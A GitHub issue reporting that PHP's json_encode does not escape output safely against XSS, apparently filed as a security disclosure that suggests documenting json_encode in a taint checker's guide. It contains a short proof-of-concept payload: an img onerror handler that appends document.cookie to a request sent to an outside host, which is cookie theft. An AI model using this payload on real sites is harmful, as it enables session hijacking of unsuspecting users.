Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

json_encode is not safe to xss #39

Open
gouchaoer opened this issue Nov 1, 2016 · 0 comments
Open

json_encode is not safe to xss #39

gouchaoer opened this issue Nov 1, 2016 · 0 comments

Comments

@gouchaoer
Copy link

gouchaoer commented Nov 1, 2016

http://stackoverflow.com/questions/5913503/xss-creating-a-javascript-object-using-phps-json-encode/40230653#40230653

A poc to steal cookie:

$xss=<<<EOL
<img id='id' src='http://balabla.com/xss.php?'>
<img src=# onerror=document.getElementById('id').src+=document.cookie>
EOL;
$arr['xss']=$xss;
echo json_encode($arr);

Actually json_encode is widly used to escape js.
I suggest add json_encode to http://php.net/manual/en/taint.detail.basic.php

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant